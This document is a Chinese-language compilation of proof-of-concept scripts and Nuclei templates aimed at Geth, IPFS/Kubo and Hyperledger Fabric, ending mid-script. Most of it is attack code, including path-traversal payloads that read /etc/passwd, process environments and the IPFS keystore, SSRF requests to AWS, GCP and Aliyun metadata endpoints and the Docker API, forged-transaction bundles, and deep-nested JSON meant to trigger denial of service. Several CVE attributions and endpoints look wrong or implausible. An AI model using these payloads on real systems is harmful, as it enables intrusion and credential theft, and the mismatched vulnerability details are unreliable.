区块链与去中心化基础设施高危攻击链专题：Geth / Bitcoin Core / IPFS / Hyperledger Fabric / Parity 漏洞全解析

#!/bin/bash
# CVE-2022-23328 MEV Bundle 签名验证绕过 PoC
# 用法: bash poc_geth_mev.sh <geth_rpc_url>

TARGET="${1:-http://localhost:8545}"

echo "[*] CVE-2022-23328 - Geth MEV Bundle 签名验证绕过检测"
echo "[*] 目标: $TARGET"

# 构造包含伪造签名的 Bundle JSON-RPC 请求
curl -s -X POST "$TARGET" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "method": "eth_sendBundle",
    "params": [{
      "txs": [
        "0xf86c0a8504a817c80082520894a0b86991c6218b36c1d19d4a2e9eb0ce3606eb488016345785d8a00008025a0df8a3c7296c8d5843653212153e842b86838c0188d71517e62d3e329a372341da061c711b1e75d15ec35937a0b4d0309298c36188c3251186860166f4e5738f9"
      ],
      "blockNumber": "0x1",
      "minTimestamp": 0,
      "maxTimestamp": 0
    }],
    "id": 1
  }' | python3 -m json.tool 2>/dev/null || echo "[!] 请求失败或不支持 eth_sendBundle"

echo ""
echo "[*] 检查 eth_sendBundle API 是否暴露..."
curl -s -X POST "$TARGET" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"eth_sendBundle","params":[{"txs":[],"blockNumber":"0x1"}],"id":1}' \
  | python3 -m json.tool 2>/dev/null

#!/usr/bin/env python3
"""
CVE-2022-23328 - Geth MEV Bundle 签名验证绕过 PoC
用法: python3 cve_2022_23328.py <geth_rpc_url>
"""
import json
import sys
import hashlib
try:
    import requests
except ImportError:
    print("[!] 需要安装 requests: pip install requests")
    sys.exit(1)

def check_exposed_bundle_api(target: str) -> bool:
    payload = {
        "jsonrpc": "2.0",
        "method": "eth_sendBundle",
        "params": [{"txs": [], "blockNumber": "0x1"}],
        "id": 1
    }
    try:
        resp = requests.post(target, json=payload, timeout=10)
        data = resp.json()
        if "result" in data or "error" in data:
            return True
    except Exception:
        pass
    return False

def check_signature_verification(target: str) -> dict:
    """
    发送包含伪造签名的 Bundle，观察节点是否校验签名
    注意: 仅检测接口行为，不执行实际攻击
    """
    result = {
        "target": target,
        "bundle_api_exposed": False,
        "signature_verification": "unknown",
        "details": ""
    }

    if not check_exposed_bundle_api(target):
        result["details"] = "eth_sendBundle API 未暴露或不可达"
        return result

    result["bundle_api_exposed"] = True

    fake_tx = (
        "0xf86c0a8504a817c80082520894a0b86991c6218b36c1d19d4a2e9eb0ce3606eb488016345785d8a00008025a0df8a"
        "3c7296c8d5843653212153e842b86838c0188d71517e62d3e329a372341da061c711b1e75d15ec35937a0b4d0309298c"
        "36188c3251186860166f4e5738f9"
    )

    payload = {
        "jsonrpc": "2.0",
        "method": "eth_sendBundle",
        "params": [{
            "txs": [fake_tx],
            "blockNumber": "0x1",
            "minTimestamp": 0,
            "maxTimestamp": 0
        }],
        "id": 1
    }
    try:
        resp = requests.post(target, json=payload, timeout=10)
        data = resp.json()
        if "error" in data:
            err_msg = data["error"].get("message", "")
            if "signature" in err_msg.lower() or "sender" in err_msg.lower():
                result["signature_verification"] = "已修复"
                result["details"] = f"节点拒绝了伪造签名 Bundle: {err_msg}"
            else:
                result["signature_verification"] = "可能受影响"
                result["details"] = f"Bundle 被拒绝但非签名原因: {err_msg}"
        elif "result" in data:
            result["signature_verification"] = "受影响"
            result["details"] = "Bundle 被接受且无签名验证错误，可能存在签名验证绕过"
        else:
            result["signature_verification"] = "未知"
            result["details"] = f"响应: {json.dumps(data)}"
    except Exception as e:
        result["details"] = f"请求异常: {e}"

    return result

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <geth_rpc_url>")
        print(f"示例: {sys.argv[0]} http://localhost:8545")
        sys.exit(1)

    target = sys.argv[1]
    print(f"[*] CVE-2022-23328 - Geth MEV Bundle 签名验证绕过检测")
    print(f"[*] 目标: {target}")

    result = check_signature_verification(target)
    print(f"\n[*] === 检测结果 ===")
    print(f"[*] Bundle API 暴露: {'是' if result['bundle_api_exposed'] else '否'}")
    print(f"[*] 签名验证状态: {result['signature_verification']}")
    print(f"[*] 详情: {result['details']}")

    if result["signature_verification"] == "受影响":
        print("\n[!] 漏洞确认! 该 Geth 节点未对 MEV Bundle 内交易进行签名验证")
        print("[!] 影响版本: Geth < v1.10.18")
        print("[!] 建议: 升级至 v1.10.18 或更高版本")

if __name__ == "__main__":
    main()

id: cve-2022-23328-geth-mev-signature-bypass
info:
  name: Geth MEV Bundle 签名验证绕过
  author: security-researcher
  severity: high
  description: |
    Geth < v1.10.18 的 eth_sendBundle RPC API 未正确验证 Bundle 内交易的 ECDSA 签名，
    攻击者可注入伪造交易到 MEV Bundle 中。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23328
    - https://github.com/ethereum/go-ethereum/releases/tag/v1.10.18
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 7.5
    cwe-id: CWE-347
  tags: cve,cve2022,geth,ethereum,mev

requests:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"jsonrpc":"2.0","method":"eth_sendBundle","params":[{"txs":["0xf86c0a8504a817c80082520894a0b86991c6218b36c1d19d4a2e9eb0ce3606eb488016345785d8a00008025a0df8a3c7296c8d5843653212153e842b86838c0188d71517e62d3e329a372341da061c711b1e75d15ec35937a0b4d0309298c36188c3251186860166f4e5738f9"],"blockNumber":"0x1","minTimestamp":0,"maxTimestamp":0}],"id":1}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"result"'
          - '"null"'
        condition: or

      - type: word
        part: body
        words:
          - '"error"'
        negative: true

    extractors:
      - type: json
        name: result
        json:
          - '.error.message'

#!/bin/bash
# CVE-2021-39226 Geth RPC API DoS 检测
# 用法: bash poc_geth_rpc_dos.sh <geth_rpc_url>

TARGET="${1:-http://localhost:8545}"

echo "[*] CVE-2021-39226 - Geth debug_ RPC API DoS 检测"
echo "[*] 目标: $TARGET"

echo "[*] 检测 debug_* 命名空间是否暴露..."
curl -s -X POST "$TARGET" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"debug_traceTransaction","params":["0x0000000000000000000000000000000000000000000000000000000000000000"],"id":1}' \
  | python3 -m json.tool 2>/dev/null

echo ""
echo "[*] 检查嵌套 JSON 是否被正确拒绝..."
python3 -c "
import json, sys
deep_json = {'a': 1}
for i in range(200):
    deep_json = {'a': deep_json}
payload = json.dumps({'jsonrpc':'2.0','method':'debug_traceTransaction','params':[json.dumps(deep_json)],'id':1})
print(f'[*] 构造深度 200 的嵌套 JSON，长度: {len(payload)} bytes')
" 2>/dev/null

#!/usr/bin/env python3
"""
CVE-2021-39226 - Geth RPC API DoS 检测脚本
用法: python3 cve_2021_39226.py <geth_rpc_url>
仅检测接口暴露情况，不执行攻击性 DoS
"""
import json
import sys
import time
try:
    import requests
except ImportError:
    print("[!] 需要安装 requests: pip install requests")
    sys.exit(1)

def check_debug_api_exposed(target: str) -> dict:
    result = {
        "target": target,
        "debug_trace_transaction_exposed": False,
        "debug_trace_block_exposed": False,
        "response_time_normal": None,
        "response_time_deep_nest": None,
        "details": ""
    }

    payload_trace = {
        "jsonrpc": "2.0",
        "method": "debug_traceTransaction",
        "params": ["0x" + "00" * 32],
        "id": 1
    }

    start = time.time()
    try:
        resp = requests.post(target, json=payload_trace, timeout=10)
        elapsed = time.time() - start
        data = resp.json()
        result["response_time_normal"] = round(elapsed, 3)

        if "error" in data:
            result["debug_trace_transaction_exposed"] = True
            result["details"] = f"debug_traceTransaction 暴露: {data['error'].get('message', '')}"
        elif "result" in data:
            result["debug_trace_transaction_exposed"] = True
            result["details"] = f"debug_traceTransaction 可用并返回了结果"
    except requests.Timeout:
        result["debug_trace_transaction_exposed"] = True
        result["details"] = "debug_traceTransaction 超时，可能正在处理大量数据"
    except Exception as e:
        result["details"] = f"连接失败: {e}"

    deep_nested = {"a": 1}
    for _ in range(50):
        deep_nested = {"a": deep_nested}

    payload_deep = {
        "jsonrpc": "2.0",
        "method": "debug_traceTransaction",
        "params": [json.dumps(deep_nested)],
        "id": 2
    }

    start = time.time()
    try:
        resp = requests.post(target, json=payload_deep, timeout=15)
        elapsed = time.time() - start
        result["response_time_deep_nest"] = round(elapsed, 3)

        if elapsed > result.get("response_time_normal", 0) * 3:
            result["details"] += " | 深度嵌套 JSON 响应时间异常增大，可能存在解析漏洞"
    except requests.Timeout:
        result["response_time_deep_nest"] = 15.0
        result["details"] += " | 深度嵌套 JSON 导致超时，可能存在资源耗尽风险"
    except Exception:
        pass

    return result

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <geth_rpc_url>")
        print(f"示例: {sys.argv[0]} http://localhost:8545")
        sys.exit(1)

    target = sys.argv[1]
    print(f"[*] CVE-2021-39226 - Geth debug_* RPC API DoS 检测")
    print(f"[*] 目标: {target}")

    result = check_debug_api_exposed(target)
    print(f"\n[*] === 检测结果 ===")
    print(f"[*] debug_traceTransaction 暴露: {'是' if result['debug_trace_transaction_exposed'] else '否'}")
    if result["response_time_normal"]:
        print(f"[*] 正常请求响应时间: {result['response_time_normal']}s")
    if result["response_time_deep_nest"]:
        print(f"[*] 深度嵌套响应时间: {result['response_time_deep_nest']}s")
    print(f"[*] 详情: {result['details']}")

    if result["debug_trace_transaction_exposed"]:
        print("\n[!] debug_* 命名空间已暴露!")
        print("[!] 影响版本: Geth < v1.10.13")
        print("[!] 建议: 通过 --rpc.api 参数限制暴露的 API 命名空间")
        print("[!] 或使用 IPC 替代 HTTP RPC 访问调试接口")

if __name__ == "__main__":
    main()

id: cve-2021-39226-geth-rpc-api-dos
info:
  name: Geth debug_* RPC API DoS
  author: security-researcher
  severity: high
  description: |
    Geth < v1.10.13 的 debug_* RPC API 未限制 JSON 嵌套深度和 trace 资源消耗，
    可导致节点 CPU 耗尽和拒绝服务。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39226
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cwe-id: CWE-400
  tags: cve,cve2021,geth,ethereum,rpc,dos

requests:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"jsonrpc":"2.0","method":"debug_traceTransaction","params":["0x0000000000000000000000000000000000000000000000000000000000000000"],"id":1}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"result"'
          - '"error"'
        condition: or

      - type: word
        part: header
        words:
          - "application/json"

    extractors:
      - type: json
        name: response
        json:
          - '.error.message // .result'

#!/usr/bin/env python3
"""
CVE-2020-28948 - Geth DNS 节点发现放大攻击检测
用法: python3 cve_2020_28948.py <target_domain>
检测目标域名的 DNS TXT 记录是否可能被用于放大攻击
"""
import sys
import socket
import struct

def build_dns_query(domain: str, qtype: int = 16) -> bytes:
    """
    构造 DNS 查询包
    qtype=16 表示 TXT 记录
    """
    txn_id = b"\xaa\xbb"
    flags = b"\x01\x00"  # Standard query
    questions = struct.pack("!H", 1)
    answer_rrs = struct.pack("!H", 0)
    authority_rrs = struct.pack("!H", 0)
    additional_rrs = struct.pack("!H", 0)

    header = txn_id + flags + questions + answer_rrs + authority_rrs + additional_rrs

    query_name = b""
    for label in domain.split("."):
        query_name += bytes([len(label)]) + label.encode()
    query_name += b"\x00"

    query_type = struct.pack("!H", qtype)
    query_class = struct.pack("!H", 1)  # IN class

    return header + query_name + query_type + query_class

def check_dns_amplification(domain: str, dns_server: str = "8.8.8.8") -> dict:
    result = {
        "domain": domain,
        "dns_server": dns_server,
        "txt_records_found": False,
        "amplification_possible": False,
        "response_size": 0,
        "query_size": 0,
        "amplification_ratio": 0.0,
        "details": ""
    }

    query = build_dns_query(domain)
    result["query_size"] = len(query)

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(5)
        sock.sendto(query, (dns_server, 53))
        response, _ = sock.recvfrom(4096)
        sock.close()

        result["response_size"] = len(response)

        if len(response) > len(query):
            ratio = len(response) / len(query)
            result["amplification_ratio"] = round(ratio, 2)
            if ratio > 2.0:
                result["amplification_possible"] = True
                result["txt_records_found"] = True
                result["details"] = (
                    f"DNS TXT 响应放大比: {ratio:.2f}x "
                    f"(查询 {len(query)} bytes -> 响应 {len(response)} bytes)"
                )
            else:
                result["details"] = f"放大比不足: {ratio:.2f}x"
        else:
            result["details"] = "响应不大于查询，放大攻击不可行"

    except socket.timeout:
        result["details"] = "DNS 查询超时"
    except Exception as e:
        result["details"] = f"查询异常: {e}"

    return result

def check_enrtree_response(domain: str, dns_server: str = "8.8.8.8") -> dict:
    result = {"enrtree_found": False, "enrtree_response": "", "details": ""}

    enrtree_domain = f"enrtree.nav.{domain}"
    query = build_dns_query(enrtree_domain)

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(5)
        sock.sendto(query, (dns_server, 53))
        response, _ = sock.recvfrom(4096)
        sock.close()

        if len(response) > 12:
            txt_data = response[12:]
            if len(txt_data) > 0:
                result["enrtree_found"] = True
                result["enrtree_response"] = txt_data[:100].hex()
                result["details"] = f"发现 enrtree 记录: {len(txt_data)} bytes"
    except Exception as e:
        result["details"] = f"查询异常: {e}"

    return result

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_domain>")
        print(f"示例: {sys.argv[0]} enrtree.nav.mainnet.ethdisco.net")
        sys.exit(1)

    domain = sys.argv[1]
    print(f"[*] CVE-2020-28948 - Geth DNS 节点发现放大攻击检测")
    print(f"[*] 目标域名: {domain}")

    print(f"\n[*] === DNS TXT 放大检测 ===")
    result = check_dns_amplification(domain, "8.8.8.8")
    print(f"[*] TXT 记录: {'存在' if result['txt_records_found'] else '不存在'}")
    print(f"[*] 放大可能: {'是' if result['amplification_possible'] else '否'}")
    print(f"[*] 放大比: {result['amplification_ratio']}x")
    print(f"[*] {result['details']}")

    print(f"\n[*] === Enrtree 记录检测 ===")
    enrtree = check_enrtree_response(domain, "8.8.8.8")
    print(f"[*] Enrtree 记录: {'存在' if enrtree['enrtree_found'] else '不存在'}")
    print(f"[*] {enrtree['details']}")

    if result["amplification_possible"]:
        print(f"\n[!] 该域名的 DNS TXT 记录存在放大攻击风险")
        print(f"[!] 影响版本: Geth < v1.9.23")
        print(f"[!] 建议: 升级 Geth 或禁用 DNS 节点发现")

if __name__ == "__main__":
    main()

id: cve-2020-28948-geth-dns-discovery-amplification
info:
  name: Geth DNS 节点发现放大攻击
  author: security-researcher
  severity: high
  description: |
    Geth < v1.9.23 的 DNS 节点发现协议（EIP-1459）实现存在 DNS 放大攻击风险。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28948
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cwe-id: CWE-400
  tags: cve,cve2020,geth,ethereum,dns,amplification

dns:
  - name: "{{FQDN}}"
    type: TXT
    class: inet
    recursion: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "enrtree://"
          - "enr:"
        condition: or

    extractors:
      - type: dsl
        dsl:
          - dns

#!/bin/bash
# CVE-2023-30568 - IPFS Gateway 路径穿越 PoC
# 用法: bash poc_ipfs_traversal.sh <gateway_url>

TARGET="${1:-http://localhost:8080}"

echo "[*] CVE-2023-30568 - IPFS Gateway 路径穿越检测"
echo "[*] 目标: $TARGET"

echo ""
echo "[*] 测试 1: 读取 /etc/passwd"
curl -s -o /dev/null -w "HTTP Status: %{http_code}, Size: %{size_download}\n" \
  "${TARGET}/ipfs/..%2F..%2F..%2Fetc%2Fpasswd"

echo ""
echo "[*] 测试 2: 读取 Gateway 配置"
curl -s -o /dev/null -w "HTTP Status: %{http_code}, Size: %{size_download}\n" \
  "${TARGET}/ipfs/..%2F..%2F..%2Fconfig"

echo ""
echo "[*] 测试 3: 读取环境变量"
curl -s -o /dev/null -w "HTTP Status: %{http_code}, Size: %{size_download}\n" \
  "${TARGET}/ipfs/..%2F..%2F..%2Fproc%2Fself%2Fenviron"

echo ""
echo "[*] 测试 4: 读取 IPFS keystore"
curl -s -o /dev/null -w "HTTP Status: %{http_code}, Size: %{size_download}\n" \
  "${TARGET}/ipfs/..%2F..%2F..%2F..%2F..%2F.ipfs%2Fkeystore"

echo ""
echo "[*] 测试 5: 双重 URL 编码"
curl -s -o /dev/null -w "HTTP Status: %{http_code}, Size: %{size_download}\n" \
  "${TARGET}/ipfs/..%252F..%252F..%252Fetc%252Fpasswd"

echo ""
echo "[*] 完成检测。如果返回 200 且大小 > 0，可能存在路径穿越漏洞"

#!/usr/bin/env python3
"""
CVE-2023-30568 - IPFS Gateway 路径穿越 PoC
用法: python3 cve_2023_30568.py <gateway_url>
"""
import sys
import urllib.parse
try:
    import requests
except ImportError:
    print("[!] 需要安装 requests: pip install requests")
    sys.exit(1)

TRVERSAL_PAYLOADS = [
    ("/ipfs/..%2F..%2F..%2Fetc%2Fpasswd", "/etc/passwd"),
    ("/ipfs/..%2F..%2F..%2Fconfig", "Gateway config"),
    ("/ipfs/..%2F..%2F..%2Fproc%2Fself%2Fenviron", "Process env"),
    ("/ipfs/..%2F..%2F..%2F..%2F..%2F.ipfs%2Fconfig", "IPFS config"),
    ("/ipfs/..%2F..%2F..%2Fproc%2Fself%2Fcmdline", "Process cmdline"),
    ("/ipfs/..%252F..%252F..%252Fetc%252Fpasswd", "/etc/passwd (double-encoded)"),
]

SENSITIVE_MARKERS = [
    "root:", "/bin/bash", "api", "PrivateKey", "Identity",
    "Gateway", "Swarm", "Addresses", "API",
]

def test_traversal(target: str) -> list:
    results = []
    base_url = target.rstrip("/")

    for payload_path, description in TRVERSAL_PAYLOADS:
        url = base_url + payload_path
        try:
            resp = requests.get(url, timeout=10, allow_redirects=False)
            body = resp.text[:500] if resp.status_code == 200 else ""
            has_sensitive = any(marker in body for marker in SENSITIVE_MARKERS)

            result = {
                "description": description,
                "url": url,
                "status": resp.status_code,
                "size": len(resp.content),
                "sensitive_content": has_sensitive,
                "snippet": body[:200] if has_sensitive else "",
            }
            results.append(result)
        except Exception as e:
            results.append({
                "description": description,
                "url": url,
                "status": 0,
                "size": 0,
                "sensitive_content": False,
                "error": str(e),
            })

    return results

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <gateway_url>")
        print(f"示例: {sys.argv[0]} http://localhost:8080")
        sys.exit(1)

    target = sys.argv[1]
    print(f"[*] CVE-2023-30568 - IPFS Gateway 路径穿越检测")
    print(f"[*] 目标: {target}")

    results = test_traversal(target)

    vuln_count = 0
    print(f"\n{'='*70}")
    print(f"{'描述':<30} {'状态':<8} {'大小':<10} {'敏感数据':<10}")
    print(f"{'='*70}")

    for r in results:
        if r.get("error"):
            print(f"[*] {r['description']:<30} 错误: {r['error']}")
            continue

        marker = "[!]" if r["sensitive_content"] else "[*]"
        status_str = str(r["status"]) if r["status"] else "ERR"
        sensitive_str = "是" if r["sensitive_content"] else "否"
        print(f"{marker} {r['description']:<30} {status_str:<8} {r['size']:<10} {sensitive_str:<10}")

        if r["sensitive_content"]:
            vuln_count += 1
            print(f"    内容片段: {r['snippet'][:100]}")

    print(f"\n{'='*70}")
    print(f"[*] 检测完成: {vuln_count}/{len(results)} 项发现敏感内容泄露")

    if vuln_count > 0:
        print(f"\n[!] 漏洞确认! IPFS Gateway 存在路径穿越风险")
        print(f"[!] 影响版本: Kubo < v0.21.0")
        print(f"[!] 建议: 升级至 v0.21.0+，启用 Gateway 路径验证")

if __name__ == "__main__":
    main()

id: cve-2023-30568-ipfs-gateway-path-traversal
info:
  name: IPFS Gateway 路径穿越
  author: security-researcher
  severity: high
  description: |
    IPFS/Kubo < v0.21.0 的 HTTP Gateway 存在路径穿越漏洞，
    攻击者可通过 URL 编码的 ../ 序列读取服务器本地文件。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30568
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  tags: cve,cve2023,ipfs,kubo,path-traversal,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/ipfs/..%2F..%2F..%2Fetc%2Fpasswd"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "root:"
          - "/bin/bash"
        condition: or

      - type: word
        words:
          - "ipfs"
        negative: true

#!/bin/bash
# CVE-2023-25655 - IPFS Gateway SSRF PoC
# 用法: bash poc_ipfs_ssrf.sh <gateway_url>

TARGET="${1:-http://localhost:8080}"

echo "[*] CVE-2023-25655 - IPFS Gateway SSRF 检测"
echo "[*] 目标: $TARGET"

echo ""
echo "[*] 测试 1: 检查 Gateway 是否遵循 IPNS 重定向到内网"
curl -v -s "${TARGET}/ipns/127.0.0.1:2375/version" 2>&1 | head -20

echo ""
echo "[*] 测试 2: 检查 IPFS 路径的内网引用"
curl -v -s "${TARGET}/ipns/169.254.169.254/latest/meta-data/" 2>&1 | head -20

echo ""
echo "[*] 测试 3: 检查 Gateway 对内网 IP 的解析行为"
curl -v -s "${TARGET}/ipns/10.0.0.1/" 2>&1 | head -20

echo ""
echo "[*] 测试 4: 通过 DNSLink 检查 SSRF"
curl -v -s "${TARGET}/ipns/internal-service.local/" 2>&1 | head -20

#!/usr/bin/env python3
"""
CVE-2023-25655 - IPFS Gateway SSRF 检测脚本
用法: python3 cve_2023_25655.py <gateway_url>
"""
import sys
try:
    import requests
except ImportError:
    print("[!] 需要安装 requests: pip install requests")
    sys.exit(1)

SSRF_TARGETS = [
    ("http://127.0.0.1:2375/version", "Docker API"),
    ("http://169.254.169.254/latest/meta-data/", "AWS Metadata"),
    ("http://metadata.google.internal/computeMetadata/v1/", "GCP Metadata"),
    ("http://100.100.100.200/latest/meta-data/", "Aliyun Metadata"),
    ("http://127.0.0.1:8500/v1/agent/self", "Consul Agent"),
    ("http://127.0.0.1:9090/-/healthy", "Prometheus"),
]

def test_ssrf(target: str) -> list:
    results = []
    base_url = target.rstrip("/")

    for internal_url, service_name in SSRF_TARGETS:
        ipns_url = f"{base_url}/ipns/{internal_url.replace('http://', '')}"
        try:
            resp = requests.get(ipns_url, timeout=8, allow_redirects=False)
            accessible = resp.status_code == 200 and len(resp.content) > 0

            results.append({
                "service": service_name,
                "ipns_url": ipns_url,
                "status": resp.status_code,
                "size": len(resp.content),
                "accessible": accessible,
                "snippet": resp.text[:200] if accessible else "",
            })
        except requests.Timeout:
            results.append({
                "service": service_name,
                "ipns_url": ipns_url,
                "status": 0,
                "size": 0,
                "accessible": False,
                "error": "请求超时",
            })
        except Exception as e:
            results.append({
                "service": service_name,
                "ipns_url": ipns_url,
                "status": 0,
                "size": 0,
                "accessible": False,
                "error": str(e),
            })

    return results

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <gateway_url>")
        print(f"示例: {sys.argv[0]} http://localhost:8080")
        sys.exit(1)

    target = sys.argv[1]
    print(f"[*] CVE-2023-25655 - IPFS Gateway SSRF 检测")
    print(f"[*] 目标: {target}")

    results = test_ssrf(target)

    accessible_count = 0
    print(f"\n{'='*70}")
    print(f"{'服务':<25} {'状态':<8} {'大小':<10} {'可访问':<10}")
    print(f"{'='*70}")

    for r in results:
        if r.get("error"):
            print(f"[*] {r['service']:<25} 错误: {r['error']}")
            continue

        accessible_str = "是 [!]" if r["accessible"] else "否"
        status_str = str(r["status"]) if r["status"] else "N/A"
        print(f"[*] {r['service']:<25} {status_str:<8} {r['size']:<10} {accessible_str:<10}")

        if r["accessible"]:
            accessible_count += 1
            print(f"    内容: {r['snippet'][:150]}")

    print(f"\n{'='*70}")
    print(f"[*] 检测完成: {accessible_count}/{len(results)} 项内网服务可达")

    if accessible_count > 0:
        print(f"\n[!] 漏洞确认! IPFS Gateway 存在 SSRF 风险")
        print(f"[!] 影响版本: Kubo < v0.20.0")
        print(f"[!] 攻击者可通过 Gateway 作为代理访问内网资源")
        print(f"[!] 建议: 升级至 v0.20.0+，配置 Gateway 出站流量白名单")

if __name__ == "__main__":
    main()

id: cve-2023-25655-ipfs-gateway-ssrf
info:
  name: IPFS Gateway SSRF
  author: security-researcher
  severity: high
  description: |
    IPFS/Kubo < v0.20.0 的 HTTP Gateway 存在 SSRF 漏洞，
    攻击者可通过 IPNS 指向内网地址获取云元数据和内网服务信息。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-25655
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cwe-id: CWE-918
  tags: cve,cve2023,ipfs,kubo,ssrf

http:
  - method: GET
    path:
      - "{{BaseURL}}/ipns/169.254.169.254/latest/meta-data/"
      - "{{BaseURL}}/ipns/127.0.0.1:2375/version"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "ami-id"
          - "Api-Version"
          - "instance-id"
          - "version"
        condition: or

    extractors:
      - type: regex
        regex:
          - "ami-[a-z0-9]+"
          - "instance-id: .*"

#!/usr/bin/env python3
"""
CVE-2022-23326 - Hyperledger Fabric Chaincode ACL 绕过检测
用法: python3 cve_2022_23326.py <fabric_ca_url> <channel_name> <chaincode_name>
"""
import json
import sys
import ssl
try:
    import requests
except ImportError:
    print("[!] 需要安装 requests: pip install requests")
    sys.exit(1)

def check_fabric_version(ca_url: str) -> dict:
    result = {"version": "unknown", "vulnerable": False, "details": ""}

    try:
        resp = requests.get(f"{ca_url}/cainfo", timeout=10, verify=False)
        if resp.status_code == 200:
            data = resp.json()
            result["details"] = json.dumps(data, indent=2)[:500]

            version_str = data.get("result", {}).get("version", "")
            if version_str:
                result["version"] = version_str
                parts = version_str.split(".")
                if len(parts) >= 2:
                    major = int(parts[0]) if parts[0].isdigit() else 0
                    minor = int(parts[1]) if parts[1].isdigit() else 0
                    patch = int(parts[2]) if len(parts) > 2 and parts[2].isdigit() else 0

                    if (major == 2 and minor == 2 and patch < 7) or \
                       (major == 2 and minor == 4 and patch < 3) or \
                       (major == 2 and minor == 5 and patch < 1):
                        result["vulnerable"] = True
    except Exception as e:
        result["details"] = f"连接失败: {e}"

    return result

def check_peer_acl(peer_url: str, channel: str) -> dict:
    result = {
        "peer_accessible": False,
        "chaincodes_installed": False,
        "acl_enforced": "unknown",
        "details": ""
    }

    try:
        resp = requests.get(f"{peer_url}/chaincode?channel={channel}", timeout=10, verify=False)
        if resp.status_code == 200:
            result["peer_accessible"] = True
            result["chaincodes_installed"] = True
            result["details"] = "Peer 节点可访问，Chaincode 列表已获取"

        resp_private = requests.get(
            f"{peer_url}/private/collections",
            timeout=10, verify=False
        )
        if resp_private.status_code == 200:
            result["acl_enforced"] = "可能未强制"
            result["details"] += " | Private data collection 列表可未授权访问"
    except Exception as e:
        result["details"] = f"检测异常: {e}"

    return result

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <fabric_ca_url> [channel_name]")
        print(f"示例: {sys.argv[0]} https://localhost:7054 mychannel")
        sys.exit(1)

    ca_url = sys.argv[1]
    channel = sys.argv[2] if len(sys.argv) > 2 else "mychannel"

    print(f"[*] CVE-2022-23326 - Hyperledger Fabric Chaincode ACL 绕过检测")
    print(f"[*] 目标: {ca_url}")

    print(f"\n[*] === Fabric CA 版本检测 ===")
    ver_result = check_fabric_version(ca_url)
    print(f"[*] 版本: {ver_result['version']}")
    print(f"[*] 受影响: {'是' if ver_result['vulnerable'] else '否/未知'}")
    if ver_result["details"]:
        print(f"[*] 详情: {ver_result['details'][:300]}")

    peer_url = ca_url.replace(":7054", ":7051").replace(":443", ":7051")
    print(f"\n[*] === Peer 节点 ACL 检测 (通道: {channel}) ===")
    acl_result = check_peer_acl(peer_url, channel)
    print(f"[*] Peer 可访问: {'是' if acl_result['peer_accessible'] else '否'}")
    print(f"[*] ACL 强制: {acl_result['acl_enforced']}")
    print(f"[*] {acl_result['details']}")

    if ver_result["vulnerable"]:
        print(f"\n[!] 漏洞确认! Hyperledger Fabric 版本受 CVE-2022-23326 影响")
        print(f"[!] 受影响版本: < v2.2.7 / < v2.4.3 / < v2.5.0")
        print(f"[!] 建议: 升级至修复版本，重新审计 private data collection ACL 配置")

if __name__ == "__main__":
    main()

id: cve-2022-23326-fabric-chaincode-acl-bypass
info:
  name: Hyperledger Fabric Chaincode ACL 绕过
  author: security-researcher
  severity: critical
  description: |
    Hyperledger Fabric < v2.2.7/v2.4.3/v2.5.0 的 Chaincode ACL 检查存在缺陷，
    恶意 Chaincode 可读取未授权的 private data collection。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23326
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.1
    cwe-id: CWE-862
  tags: cve,cve2022,hyperledger,fabric,acl

http:
  - method: GET
    path:
      - "{{BaseURL}}/cainfo"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "Fabric CA Server"
          - "fabric"
        condition: or

    extractors:
      - type: json
        name: version
        json:
          - '.result.version'

#!/usr/bin/env python3
"""
CVE-2020-15568 - Hyperledger Fabric 交易验证逻辑漏洞检测
用法: python3 cve_2020_15568.py <peer_url> <channel_name>
"""
import json
import sys
try:
    import requests
except ImportError:
    print("[!] 需要安装 requests: pip install requests")
    sys.exit(1)

def check_fabric_version(peer_url: str) -> dict:
    result = {"version": "unknown", "vulnerable": False, "details": ""}

    try:
